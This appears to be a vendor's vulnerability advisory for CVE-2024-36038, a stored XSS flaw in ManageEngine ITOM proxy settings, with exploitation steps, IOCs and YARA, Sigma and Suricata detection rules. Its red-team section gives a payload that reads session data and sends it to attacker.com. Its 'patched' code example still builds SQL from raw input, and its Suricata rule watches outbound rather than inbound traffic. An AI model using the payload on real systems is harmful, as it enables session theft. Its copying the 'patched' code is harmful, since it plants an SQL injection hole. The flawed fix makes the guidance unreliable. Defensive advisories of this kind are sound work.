CVE-2024-36038

Executive Summary

CVE-2024-36038 is a stored cross-site scripting (XSS) vulnerability affecting Zoho ManageEngine ITOM products (including ServiceDesk Plus, AssetExplorer, and OpManager) in versions 128234 through 128248. The flaw resides in the proxy server configuration option, allowing an authenticated attacker with low privileges to inject malicious scripts that are stored and later executed in the context of other users' browsers. With a CVSS score of 6.3 (Medium), this vulnerability could lead to session hijacking, credential theft, or unauthorized actions within the ITOM platform. No public exploit code or proof-of-concept is currently available, and patch status remains unknown.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The medium severity reflects the need for authentication and user interaction, but the stored nature of the XSS increases the potential for widespread impact within an organization.

Deep Dive & Mechanics

The vulnerability exists in the proxy server configuration interface of Zoho ManageEngine ITOM products. When an authenticated user sets or modifies the proxy server settings, the application fails to properly sanitize user-supplied input before storing it in the backend database. This stored data is later rendered in the administrative web interface without adequate encoding, allowing arbitrary HTML and JavaScript to execute in the browser of any user who views the proxy configuration page.

The attack flow:

1. An attacker with low-privileged access (e.g., a help desk technician) navigates to the proxy server settings.
2. The attacker injects a malicious payload into one of the input fields (e.g., proxy hostname or port).
3. The payload is stored in the database without sanitization.
4. When an administrator or another user views the proxy configuration page, the payload executes in their browser.
5. The attacker can then steal session cookies, perform actions on behalf of the victim, or deface the interface.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Directly stores user input without sanitization
$proxyHost = $_POST['proxy_host'];
$query = "UPDATE settings SET proxy_host = '$proxyHost' WHERE id = 1";
mysqli_query($conn, $query);

Patched Code (Conceptual):

// Patched: Input sanitization and output encoding
$proxyHost = htmlspecialchars($_POST['proxy_host'], ENT_QUOTES, 'UTF-8');
$query = "UPDATE settings SET proxy_host = '$proxyHost' WHERE id = 1";
mysqli_query($conn, $query);

The patched version uses htmlspecialchars() to encode HTML entities, preventing script execution. Additionally, output encoding should be applied when rendering the stored value in the web interface.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a vulnerable ManageEngine ITOM instance (versions 128234-128248)
• Valid low-privileged user credentials

Exploitation Steps:

1. Log in to the ITOM web interface with low-privileged credentials.
2. Navigate to the proxy server configuration page (typically under Admin > Proxy Settings).
3. In the "Proxy Host" field, inject a payload such as:

   <script>alert('XSS')</script>
   

4. Save the configuration.
5. Wait for an administrator to view the proxy settings page. The payload will execute in their browser.

Advanced Payload Example:

<script>
fetch('/api/session', {credentials: 'include'})
  .then(r => r.text())
  .then(data => fetch('https://attacker.com/steal?data=' + btoa(data)));
</script>

Blue Team

Detection Steps:

1. Monitor for unusual changes to proxy server settings by low-privileged users.
2. Review web application logs for suspicious input patterns in the proxy configuration fields.
3. Use the detection rules provided below to identify exploitation attempts.

Mitigation:

• Apply input validation and output encoding to all user-supplied data.
• Restrict access to proxy configuration pages to only trusted administrators.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound connections to attacker-controlled domains from the ITOM server
  • HTTP requests containing <script> tags in proxy configuration parameters

• Host IOCs:

  • Unusual entries in the ITOM database settings table for proxy_host or proxy_port fields containing HTML/JavaScript
  • Web server logs showing POST requests to proxy configuration endpoints with encoded payloads

• Log IOCs:

  • Application logs with entries like Proxy settings updated by user [username] followed by suspicious input

Detection Engineering

YARA Rule

rule CVE_2024_36038_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in ManageEngine ITOM proxy settings"
        author = "Valters IT"
        date = "2024-05-20"
        reference = "CVE-2024-36038"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $proxy_field = /proxy_host|proxy_port/i
    condition:
        $xss_payload and $proxy_field
}

Sigma Rule

title: CVE-2024-36038 Stored XSS in ManageEngine ITOM Proxy Settings
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of stored XSS in ManageEngine ITOM proxy configuration
author: Valters IT
date: 2024/05/20
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36038
logsource:
    category: web_application
    product: manageengine_itom
detection:
    selection:
        http_method: POST
        url_path: /proxy/settings
        body|contains: 
            - '<script'
            - 'javascript:'
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of HTML in proxy settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-36038 Stored XSS in ManageEngine ITOM Proxy Settings";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/proxy/settings"; http_uri;
    content:"<script"; http_client_body;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
    reference:cve,2024-36038;
)

Remediation & Mitigation

1. Immediate Actions:

   • Upgrade to a patched version of ManageEngine ITOM once available (check vendor advisory).
   • If patching is not possible, restrict access to proxy configuration pages to only essential administrators.
   • Implement a Web Application Firewall (WAF) rule to block XSS payloads in proxy settings.

2. Long-term Fixes:

   • Apply input validation and output encoding to all user-supplied data in the application.
   • Conduct a security audit of all configuration interfaces for similar vulnerabilities.
   • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

3. Workarounds:

   • Disable the proxy configuration feature if not in use.
   • Monitor logs for unauthorized changes to proxy settings.

Valters IT
Securing Digital Frontiers